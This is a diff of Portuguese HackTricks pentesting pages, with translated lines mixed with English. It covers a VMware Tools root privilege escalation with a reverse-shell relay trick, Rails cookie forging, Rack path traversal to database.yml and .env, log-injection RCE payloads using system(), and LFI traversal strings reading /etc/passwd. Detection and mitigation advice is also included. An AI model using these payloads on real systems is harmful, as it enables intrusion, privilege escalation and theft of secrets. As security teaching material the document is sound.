+- Credential-based (legacy): Aria executa discovery scripts dentro do guest via VMware Tools usando credenciais privilegiadas configuradas.
- Credential-less (moderno): A lógica de descoberta roda dentro do VMware Tools, já com privilégios no guest.
+- Credential-less (modern): A lógica de discovery roda dentro do VMware Tools, já privilegiada no guest.
-Ambos os modos acabam executando lógica de shell que escaneia processos com sockets de escuta, extrai um caminho de comando correspondente via uma regex e executa o primeiro token argv com uma flag de versão.
+Ambos os modos, em última instância, executam lógica de shell que escaneia processos com listening sockets, extrai um caminho de comando correspondente via regex, e executa o primeiro token de argv com uma flag de versão.
-## Causa raiz e padrão vulnerável (open-vm-tools)
+## Root cause and vulnerable pattern (open-vm-tools)
-No open-vm-tools, o script do plugin serviceDiscovery get-versions.sh casa binários candidatos usando expressões regulares amplas e executa o primeiro token sem qualquer validação de caminho confiável:
+No open-vm-tools, o script do plugin serviceDiscovery get-versions.sh corresponde binários candidatos usando expressões regulares amplas e executa o primeiro token sem qualquer validação de caminho confiável:
 ```bash
 get_version() {
 PATTERN=$1
@ -29,7 +29,7 @@ COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
 done
 }
 ```
-Ele é invocado com padrões permissivos contendo \S (sem espaços em branco) que irão corresponder facilmente a caminhos fora do sistema em locais graváveis pelo usuário:
+É invocado com padrões permissivos contendo \S (não é espaço em branco) que irão corresponder sem problemas a caminhos não do sistema em locais graváveis pelo usuário:
 ```bash
 get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
 get_version "/usr/(bin|sbin)/apache\S*" -v
@ -38,23 +38,23 @@ get_version "\.?/\S*nginx($|\s)" -v
 get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
 get_version "/\S+/dataserver($|\s)" -v
 ```
- A extração usa grep -Eo e pega o primeiro token: ${COMMAND%%[[:space:]]*}
+- Extração usa grep -Eo e pega o primeiro token: ${COMMAND%%[[:space:]]*}
- Não há whitelist/allowlist de trusted system paths; qualquer discovered listener com um nome correspondente é executado com -v/--version
+- Não há whitelist/allowlist de caminhos do sistema confiáveis; qualquer listener descoberto com um nome correspondente é executado com -v/--version
-This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
+Isso cria uma primitiva de execução por caminho de busca não confiável: binários arbitrários localizados em diretórios graváveis por qualquer usuário (por exemplo, /tmp/httpd) são executados por um componente privilegiado.
-## Exploitation (both credential-less and credential-based modes)
+## Exploração (modos sem credenciais e com credenciais)
-Pré-requisitos
+Precondições
- Você pode executar um processo sem privilégios que abra um listening socket no guest.
+- Você pode executar um processo não privilegiado que abre um socket de escuta no guest.
- A discovery job está habilitada e roda periodicamente (historicamente ~5 minutos).
+- O discovery job está habilitado e é executado periodicamente (historicamente ~5 minutos).
 Etapas
-1) Coloque (stage) um binário em um caminho que corresponda a um dos regexes permissivos, e.g. /tmp/httpd or ./nginx
+1) Coloque um binário em um caminho que corresponda a um dos regex permissivos, por exemplo /tmp/httpd ou ./nginx
-2) Execute-o como um usuário com poucos privilégios e assegure-se de que ele abra qualquer listening socket
+2) Execute-o como um usuário com poucos privilégios e certifique-se de que ele abra qualquer socket de escuta
-3) Espere pelo ciclo de discovery; o privileged collector executará automaticamente: /tmp/httpd -v (or similar), rodando seu programa como root
+3) Aguarde o ciclo de discovery; o collector privilegiado irá executar automaticamente: /tmp/httpd -v (ou similar), executando seu programa como root
-Minimal demo (using NVISO’s approach)
+Demonstração mínima (usando a abordagem da NVISO)
 ```bash
 # Build any small helper that:
 #  - default mode: opens a dummy TCP listener
@ -65,57 +65,57 @@ chmod +x /tmp/httpd
 /tmp/httpd          # run as low-priv user and wait for the cycle
 # After the next cycle, expect a root shell or your privileged action
 ```
-Linagem típica de processo
+Sequência típica de processos
 - Com credenciais: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
 - Sem credenciais: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
 Artefatos (com credenciais)
-SDMP wrapper scripts recuperados em /tmp/VMware-SDMP-Scripts-{UUID}/ podem mostrar a execução direta do caminho malicioso:
+Scripts wrapper SDMP recuperados em /tmp/VMware-SDMP-Scripts-{UUID}/ podem mostrar a execução direta do caminho malicioso:
 ```bash
 /tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
 ```
-## Generalizando a técnica: regex-driven discovery abuse (portable pattern)
+## Generalizing the technique: regex-driven discovery abuse (portable pattern)
-Muitos agentes e pacotes de monitoramento implementam descoberta de versão/serviço por:
+Muitos agentes e suítes de monitoramento implementam descoberta de versão/serviço por:
- Enumerar processos com listening sockets
+- Enumerar processos com sockets de escuta
- Grep em argv/linhas de comando com regexes permissivas (p.ex., padrões contendo \S)
+- Fazer grep em argv/linhas de comando com regexes permissivas (por exemplo, padrões contendo \S)
- Executar o caminho correspondente com uma flag benigna como -v, --version, -V, -h
+- Executar o caminho correspondido com uma flag benigna como -v, --version, -V, -h
-Se a regex aceitar caminhos não confiáveis e o caminho for executado a partir de um contexto privilegiado, obtém-se CWE-426 Untrusted Search Path execution.
+Se a regex aceitar caminhos não confiáveis e o caminho for executado a partir de um contexto privilegiado, você obtém CWE-426 Untrusted Search Path execution.
 Abuse recipe
 - Nomeie seu binário como daemons comuns que a regex provavelmente corresponderá: httpd, nginx, mysqld, dataserver
 - Coloque-o em um diretório gravável: /tmp/httpd, ./nginx
- Assegure que ele corresponda à regex e abra qualquer porta para ser enumerada
+- Garanta que ele corresponda à regex e abra qualquer porta para ser enumerada
 - Espere pelo coletor agendado; você obtém uma invocação privilegiada automática de <path> -v
 Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
 Reusable privileged I/O relay trick
- Construa seu helper de forma que, quando invocado com privilégios (-v/--version), ele se conecte a um rendezvous conhecido (p.ex., um Linux abstract UNIX socket como @cve) e faça a ponte do stdio para /bin/sh -i. Isso evita artefatos no disco e funciona em muitos ambientes onde o mesmo binário é reinvocado com uma flag.
+- Construa seu helper de forma que, ao ser invocado com privilégios (-v/--version), ele se conecte a um ponto de encontro conhecido (por exemplo, um socket UNIX abstrato do Linux como @cve) e faça uma ponte entre stdio e /bin/sh -i. Isso evita artefatos em disco e funciona em muitos ambientes onde o mesmo binário é re-invocado com uma flag.
 ## Detection and DFIR guidance
 Hunting queries
- Uncommon children of vmtoolsd or get-versions.sh such as /tmp/httpd, ./nginx, /tmp/mysqld
+- Filhos incomuns de vmtoolsd ou get-versions.sh, tais como /tmp/httpd, ./nginx, /tmp/mysqld
- Any execution of non-system absolute paths by discovery scripts (look for spaces in ${COMMAND%%...} expansions)
+- Qualquer execução de caminhos absolutos não-sistêmicos por scripts de descoberta (procure por espaços em expansões ${COMMAND%%...})
- ps -ef --forest to visualize ancestry trees: vmtoolsd -> get-versions.sh -> <non-system path>
+- ps -ef --forest para visualizar árvores de ancestralidade: vmtoolsd -> get-versions.sh -> <non-system path>
 On Aria SDMP (credential-based)
- Inspect /tmp/VMware-SDMP-Scripts-{UUID}/ for transient scripts and stdout/stderr artifacts showing execution of attacker paths
+- Inspecione /tmp/VMware-SDMP-Scripts-{UUID}/ em busca de scripts transitórios e artefatos stdout/stderr mostrando a execução de caminhos do atacante
 Policy/telemetry
- Alert when privileged collectors execute from non-system prefixes: ^/(tmp|home|var/tmp|dev/shm)/
+- Alertar quando coletores privilegiados executarem a partir de prefixos não-sistêmicos: ^/(tmp|home|var/tmp|dev/shm)/
- File integrity monitoring on get-versions.sh and VMware Tools plugins
+- Monitoramento de integridade de arquivos em get-versions.sh e plugins do VMware Tools
 ## Mitigations
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
+- Correção: Aplique atualizações Broadcom/VMware para CVE-2025-41244 (Tools and Aria Operations SDMP)
- Disable or restrict credential-less discovery where feasible
+- Desative ou restrinja a descoberta sem credenciais quando viável
- Validate trusted paths: restrinja a execução a diretórios em lista de permitidos (/usr/sbin, /usr/bin, /sbin, /bin) e apenas binários exatos conhecidos
+- Valide caminhos confiáveis: restrinja a execução a diretórios permitidos (/usr/sbin, /usr/bin, /sbin, /bin) e apenas binários conhecidos e exatos
- Avoid permissive regexes with \S; prefer anchored, explicit absolute paths and exact command names
+- Evite regexes permissivas com \S; prefira caminhos absolutos explícitos ancorados e nomes de comando exatos
- Drop privileges for discovery helpers where possible; sandbox (seccomp/AppArmor) to reduce impact
+- Reduza privilégios para helpers de descoberta quando possível; sandbox (seccomp/AppArmor) para reduzir o impacto
- Monitor for and alert on vmtoolsd/get-versions.sh executing non-system paths
+- Monitore e gere alertas sobre vmtoolsd/get-versions.sh executando caminhos não-sistêmicos
 ## Notes for defenders and implementers
--- a/src/network-services-pentesting/pentesting-web/ruby-tricks.md
+++ b/src/network-services-pentesting/pentesting-web/ruby-tricks.md
@ -1,51 +1,51 @@
-# Truques em Ruby
+# Ruby Tricks
 {{#include ../../banners/hacktricks-training.md}}
-## Upload de arquivo para RCE
+## File upload to RCE
 As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
 Dicas:
- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo, `config/initializers/` é o clássico). Se você encontrar um upload arbitrário de arquivos que caia em qualquer lugar sob `config/` e seja posteriormente avaliado/required, pode obter RCE no boot.
+- Outros locais de boot/eager-load que são executados na inicialização da app também são arriscados quando graváveis (por exemplo, `config/initializers/` é o clássico). Se você encontrar um upload de arquivo arbitrário que caia em qualquer lugar sob `config/` e seja posteriormente avaliado/required, você pode obter RCE na inicialização.
- Procure builds de dev/staging que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los na inicialização.
+- Procure dev/staging builds que copiem arquivos controlados pelo usuário para a imagem do container onde Rails irá carregá-los no boot.
-## Active Storage image transformation → execução de comando (CVE-2025-24293)
+## Active Storage image transformation → command execution (CVE-2025-24293)
-Quando uma aplicação usa Active Storage com `image_processing` + `mini_magick`, e passa parâmetros não confiáveis para métodos de transformação de imagem, versões do Rails anteriores a 7.1.5.2 / 7.2.2.2 / 8.0.2.1 podem permitir injeção de comando porque alguns métodos de transformação foram acidentalmente permitidos por padrão.
+When an application uses Active Storage with `image_processing` + `mini_magick`, and passes untrusted parameters to image transformation methods, Rails versions prior to 7.1.5.2 / 7.2.2.2 / 8.0.2.1 could allow command injection because some transformation methods were mistakenly allowed by default.
- Um padrão vulnerável se parece com:
+- A vulnerable pattern looks like:
 ```erb
 <%= image_tag blob.variant(params[:t] => params[:v]) %>
 ```
-onde `params[:t]` e/ou `params[:v]` são controlados pelo atacante.
+where `params[:t]` and/or `params[:v]` are attacker-controlled.
- O que tentar durante os testes
+- What to try during testing
- Identifique quaisquer endpoints que aceitem opções de variant/processing, nomes de transformação ou argumentos arbitrários do ImageMagick.
+- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
- Fuzz `params[:t]` e `params[:v]` em busca de erros suspeitos ou efeitos colaterais de execução. Se você conseguir influenciar o nome do método ou passar argumentos brutos que cheguem ao MiniMagick, pode obter code exec no host do processador de imagens.
+- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
- Se você só tem acesso de leitura a variantes geradas, tente exfiltração cega via operações ImageMagick crafted.
+- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
- Remediação/detecções
+- Remediation/detections
- Se você encontrar Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 com Active Storage + `image_processing` + `mini_magick` e transformações controladas pelo usuário, considere explorável. Recomende atualizar e aplicar allowlists estritas para métodos/params e uma policy do ImageMagick mais rígida.
+- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
 ## Rack::Static LFI / path traversal (CVE-2025-27610)
-Se a stack alvo usa Rack middleware diretamente ou via frameworks, versões de `rack` anteriores a 2.2.13, 3.0.14 e 3.1.12 permitem Local File Inclusion via `Rack::Static` quando `:root` não está definido/mal configurado. Traversal codificado em `PATH_INFO` pode expor arquivos sob o diretório de trabalho do processo ou um root inesperado.
+If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
- Procure apps que montem `Rack::Static` em `config.ru` ou nas stacks de middleware. Tente traversals codificados contra caminhos estáticos, por exemplo:
+- Procure apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
 ```text
 GET /assets/%2e%2e/%2e%2e/config/database.yml
 GET /favicon.ico/..%2f..%2f.env
 ```
-Ajuste o prefix para corresponder ao `urls:` configurado. Se a app responder com o conteúdo do arquivo, provavelmente você tem LFI para qualquer coisa sob o `:root` resolvido.
+Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
- Mitigação: atualizar o Rack; garanta que `:root` aponte apenas para um diretório de arquivos públicos e seja explicitamente definido.
+- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
-## Forjar/descriptografar cookies do Rails quando `secret_key_base` is leaked
+## Forging/decrypting Rails cookies when `secret_key_base` is leaked
-Rails cifra e assina cookies usando chaves derivadas de `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. Isso frequentemente leva a authz bypass se a app armazenar roles, user IDs, ou feature flags em cookies.
+Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
-Minimal Ruby para descriptografar e recriptografar cookies modernos (AES-256-GCM, padrão nas versões recentes do Rails):
+Ruby mínimo para descriptografar e recriptografar cookies modernos (AES-256-GCM, default in recent Rails):
 ```ruby
 require 'cgi'
 require 'json'
@ -70,13 +70,13 @@ plain['role'] = 'admin' if plain.is_a?(Hash)
 forged = enc.encrypt_and_sign(plain)
 puts "Forged cookie: #{CGI.escape(forged)}"
 ```
-Notes:
+Notas:
- Aplicações mais antigas podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher, e serializer conforme necessário.
+- Apps mais antigos podem usar AES-256-CBC e salts `encrypted cookie` / `signed encrypted cookie`, ou serializadores JSON/Marshal. Ajuste salts, cipher e serializer conforme necessário.
 - Em caso de comprometimento/avaliação, rotacione `secret_key_base` para invalidar todos os cookies existentes.
-## See also (Ruby/Rails-specific vulns)
+## Veja também (vulnerabilidades específicas de Ruby/Rails)
- Desserialização em Ruby e class pollution:
+- Ruby deserialization and class pollution:
 {{#ref}}
 ../../pentesting-web/deserialization/README.md
 {{#endref}}
@ -86,15 +86,90 @@ Notes:
 {{#ref}}
 ../../pentesting-web/deserialization/ruby-_json-pollution.md
 {{#endref}}
- Injeção de template em engines Ruby (ERB/Haml/Slim, etc.):
+- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
 {{#ref}}
 ../../pentesting-web/ssti-server-side-template-injection/README.md
 {{#endref}}
 ## Log Injection → RCE via Ruby `load` and `Pathname.cleanpath` smuggling
-## References
+When an app (often a simple Rack/Sinatra/Rails endpoint) both:
 - logs a user-controlled string verbatim, and
 - later `load`s a file whose path is derived from that same string (after `Pathname#cleanpath`),
 You can often achieve remote code execution by poisoning the log and then coercing the app to `load` the log file. Key primitives:
 - Ruby `load` evaluates the target file content as Ruby regardless of file extension. Any readable text file whose contents parse as Ruby will be executed.
 - `Pathname#cleanpath` collapses `.` and `..` segments without hitting the filesystem, enabling path smuggling: attacker-controlled junk can be prepended for logging while the cleaned path still resolves to the intended file to execute (e.g., `../logs/error.log`).
 ### Minimal vulnerable pattern
 ```ruby
 require 'logger'
 require 'pathname'
 logger   = Logger.new('logs/error.log')
 param    = CGI.unescape(params[:script])
 path_obj = Pathname.new(param)
 logger.info("Running backup script #{param}")            # Raw log of user input
 load "scripts/#{path_obj.cleanpath}"                     # Executes file after cleanpath
 ```
 ### Por que o log pode conter código Ruby válido
 `Logger` escreve linhas de prefixo como:
 ```
 I, [9/2/2025 #209384]  INFO -- : Running backup script <USER_INPUT>
 ```
 In Ruby, `#` inicia um comentário e `9/2/2025` é apenas aritmética. Para injetar código Ruby válido você precisa:
 - Comece seu payload em uma nova linha para que não seja comentado pelo `#` na linha INFO; envie uma nova linha inicial (`\n` ou `%0A`).
 - Feche o `[` pendente introduzido pela linha INFO. Um truque comum é começar com `]` e opcionalmente deixar o parser satisfeito com `][0]=1`.
 - Em seguida, coloque Ruby arbitrário (por exemplo, `system(...)`).
 Exemplo do que terminará no log após uma requisição com um parâmetro forjado:
 ```
 I, [9/2/2025 #209384]  INFO -- : Running backup script
 ][0]=1;system("touch /tmp/pwned")#://../../../../logs/error.log
 ```
 ### Smuggling a single string that both logs code and resolves to the log path
 Queremos uma única attacker-controlled string que:
 - quando registrada raw, contém nosso Ruby payload, e
 - quando passada por `Pathname.new(<input>).cleanpath`, resolve para `../logs/error.log`, de modo que o subsequente `load` execute o arquivo de log recém-poisoned.
 `Pathname#cleanpath` ignora schemes e colapsa traversal components, então o seguinte funciona:
 ```ruby
 require 'pathname'
 p = Pathname.new("\n][0]=1;system(\"touch /tmp/pwned\")#://../../../../logs/error.log")
 puts p.cleanpath   # => ../logs/error.log
 ```
 - O `#` antes de `://` faz com que Ruby ignore o restante quando o log é executado, enquanto `cleanpath` ainda reduz o sufixo para `../logs/error.log`.
 - A nova linha inicial sai da linha INFO; `]` fecha o colchete pendente; `][0]=1` satisfaz o parser.
 ### Exploração ponta a ponta
 1. Envie o seguinte como nome do script de backup (codifique em URL a primeira nova linha como `%0A`, se necessário):
 ```
 \n][0]=1;system("id > /tmp/pwned")#://../../../../logs/error.log
 ```
 2. A aplicação registra sua string bruta em `logs/error.log`.
 3. A aplicação calcula `cleanpath`, que resolve para `../logs/error.log`, e chama `load` nele.
 4. Ruby executa o código que você injetou no log.
 Para exfiltrar um arquivo em um ambiente do tipo CTF:
 ```
 \n][0]=1;f=Dir['/tmp/flag*.txt'][0];c=File.read(f);puts c#://../../../../logs/error.log
 ```
 PoC codificado em URL (o primeiro caractere é uma nova linha):
 ```
 %0A%5D%5B0%5D%3D1%3Bf%3DDir%5B%27%2Ftmp%2Fflag%2A.txt%27%5D%5B0%5D%3Bc%3DFile.read(f)%3Bputs%20c%23%3A%2F%2F..%2F..%2F..%2F..%2Flogs%2Ferror.log
 ```
 ## Referências
 - Anúncio de Segurança do Rails: CVE-2025-24293 — métodos de transformação inseguros do Active Storage (corrigido em 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
 - Aviso do GitHub: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 - [Hardware Monitor Dojo-CTF #44: Log Injection para Ruby RCE (YesWeHack Dojo)](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-44)
 - [Ruby Pathname.cleanpath documentação](https://docs.ruby-lang.org/en/3.4/Pathname.html#method-i-cleanpath)
 - [Ruby Logger](https://ruby-doc.org/stdlib-2.5.1/libdoc/logger/rdoc/Logger.html)
 - [Como o load do Ruby funciona](https://blog.appsignal.com/2023/04/19/how-to-load-code-in-ruby.html)
 - Anúncio de Segurança do Rails: CVE-2025-24293 Active Storage unsafe transformation methods (fixed in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
 - GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
 {{#include ../../banners/hacktricks-training.md}}
--- a/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
+++ b/src/network-services-pentesting/pentesting-web/vmware-esx-vcenter....md
@ -15,11 +15,9 @@ msf> auxiliary/scanner/vmware/vmware_http_login
 ```
 Se você encontrar credenciais válidas, pode usar mais módulos de scanner do metasploit para obter informações.
 ### Veja também
-Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
+Linux LPE via descoberta de serviço do VMware Tools (CWE-426 / CVE-2025-41244):
 {{#ref}}
 ../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
--- a/src/pentesting-web/file-inclusion/README.md
+++ b/src/pentesting-web/file-inclusion/README.md
@ -4,7 +4,7 @@
 ## File Inclusion
-**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: You can write the code and the server will execute it). In php this is **disabled** by default (**allow_url_include**).\
+**Remote File Inclusion (RFI):** O arquivo é carregado de um servidor remoto (Melhor: você pode escrever o código e o servidor irá executá-lo). Em php isso está **desativado** por padrão (**allow_url_include**).\
 **Local File Inclusion (LFI):** O servidor carrega um arquivo local.
 A vulnerabilidade ocorre quando o usuário consegue, de alguma forma, controlar qual arquivo será carregado pelo servidor.
@ -19,7 +19,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
 ```
 ### **Linux**
-**Misturando várias listas \*nix LFI e adicionando mais paths, eu criei esta:**
+**Misturando várias listas LFI \*nix e adicionando mais caminhos, criei esta:**
 {{#ref}}
@ -29,11 +29,11 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Tente também trocar `/` por `\`\
 Tente também adicionar `../../../../../`
-Uma lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
+A lista que usa várias técnicas para encontrar o arquivo /etc/password (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
 ### **Windows**
-Fusão de diferentes wordlists:
+Mesclagem de diferentes wordlists:
 {{#ref}}
@ -43,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
 Tente também trocar `/` por `\`\
 Tente também remover `C:/` e adicionar `../../../../../`
-Uma lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
+A lista que usa várias técnicas para encontrar o arquivo /boot.ini (para verificar se a vulnerabilidade existe) pode ser encontrada [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
 ### **OS X**
-Verifique a lista de LFI do Linux.
+Verifique a lista de LFI do linux.
-## Básico LFI e bypasses
+## LFI básico e bypasses
 Todos os exemplos são para Local File Inclusion mas também podem ser aplicados a Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
 ```
 http://example.com/index.php?page=../../../etc/passwd
 ```
-### sequências de traversal removidas não recursivamente
+### traversal sequences removidas não recursivamente
 ```python
 http://example.com/index.php?page=....//....//....//etc/passwd
 http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,11 +63,11 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
 ```
 ### **Null byte (%00)**
-Contornar a adição de mais caracteres no final da string fornecida (bypass of: $\_GET\['param']."php")
+Bypass o acréscimo de mais chars no final da string fornecida (bypass of: $\_GET\['param']."php")
 ```
 http://example.com/index.php?page=../../../etc/passwd%00
 ```
-Isto está **resolvido desde o PHP 5.4**
+Isto foi **resolvido desde o PHP 5.4**
 ### **Codificação**
@ -78,7 +78,7 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
 ```
-### A partir de uma pasta existente
+### De uma pasta existente
 Talvez o back-end esteja verificando o caminho da pasta:
 ```python
@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
 ```
 ### Explorando diretórios do sistema de arquivos em um servidor
-O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade de diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
+O sistema de arquivos de um servidor pode ser explorado recursivamente para identificar diretórios, não apenas arquivos, empregando certas técnicas. Esse processo envolve determinar a profundidade do diretório e sondar a existência de pastas específicas. Abaixo está um método detalhado para conseguir isso:
-1. **Determinar a profundidade do diretório:** Determine a profundidade do seu diretório atual obtendo com sucesso o arquivo `/etc/passwd` (aplicável se o servidor for Linux-based). Um exemplo de URL pode estar estruturado da seguinte forma, indicando uma profundidade de três:
+1. **Determinar a profundidade do diretório:** Estabeleça a profundidade do seu diretório atual obtendo com sucesso o arquivo /etc/passwd (aplicável se o servidor for baseado em Linux). Um exemplo de URL pode ser estruturado da seguinte forma, indicando uma profundidade de três:
 ```bash
 http://example.com/index.php?page=../../../etc/passwd # depth of 3
 ```
-2. **Procurar por pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, depois navegue de volta para `/etc/passwd`. O nível adicional de diretório requer incrementar a profundidade em uma unidade:
+2. **Procurar por pastas:** Anexe o nome da pasta suspeita (por exemplo, `private`) à URL, depois navegue de volta para `/etc/passwd`. O nível de diretório adicional exige aumentar a profundidade em uma unidade:
 ```bash
 http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
 ```
-3. **Interprete os resultados:** A resposta do servidor indica se o diretório existe:
+3. **Interpretar os resultados:** O response do servidor indica se a pasta existe:
- **Erro / Sem saída:** O diretório `private` provavelmente não existe no local especificado.
+- **Erro / Sem saída:** A pasta `private` provavelmente não existe no local especificado.
- **Conteúdo de `/etc/passwd`:** A presença do diretório `private` está confirmada.
+- **Conteúdo de `/etc/passwd`:** A presença da pasta `private` está confirmada.
-4. **Exploração Recursiva:** Diretórios descobertos podem ser investigados mais a fundo em busca de subdiretórios ou arquivos usando a mesma técnica ou métodos tradicionais de Local File Inclusion (LFI).
+4. **Exploração recursiva:** Pastas descobertas podem ser investigadas mais a fundo por subdiretórios ou arquivos usando a mesma técnica ou os métodos tradicionais Local File Inclusion (LFI).
-Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual esteja a uma profundidade de 3), use:
+Para explorar diretórios em diferentes locais do sistema de arquivos, ajuste o payload de acordo. Por exemplo, para verificar se `/var/www/` contém um diretório `private` (assumindo que o diretório atual está em uma profundidade de 3), use:
 ```bash
 http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
 ```
 ### **Path Truncation Technique**
-Path truncation é um método empregado para manipular caminhos de arquivos em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres extras ao final dos caminhos. O objetivo é construir um caminho que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
+Path truncation é um método empregado para manipular caminhos de arquivo em aplicações web. É frequentemente usado para acessar arquivos restritos contornando certas medidas de segurança que adicionam caracteres adicionais ao final dos caminhos de arquivo. O objetivo é criar um caminho de arquivo que, uma vez alterado pela medida de segurança, ainda aponte para o arquivo desejado.
-In PHP, various representations of a file path can be considered equivalent due to the nature of the file system. For instance:
+Em PHP, várias representações de um caminho de arquivo podem ser consideradas equivalentes devido à natureza do sistema de arquivos. Por exemplo:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` are all treated as the same path.
+- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/` são todos tratados como o mesmo caminho.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
+- Quando os últimos 6 caracteres são `passwd`, acrescentar um `/` (transformando em `passwd/`) não altera o arquivo alvo.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
+- Da mesma forma, se `.php` é anexado a um caminho de arquivo (como `shellcode.php`), adicionar um `/.` no final não alterará o arquivo acessado.
-Os exemplos fornecidos demonstram como utilizar path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
+Os exemplos fornecidos demonstram como utilizar Path truncation para acessar `/etc/passwd`, um alvo comum devido ao seu conteúdo sensível (informações de contas de usuário):
 ```
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
 http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
 http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
 http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
 ```
-Nesses cenários, o número de traversals necessários pode ser cerca de 2027, mas esse número pode variar com base na configuração do servidor.
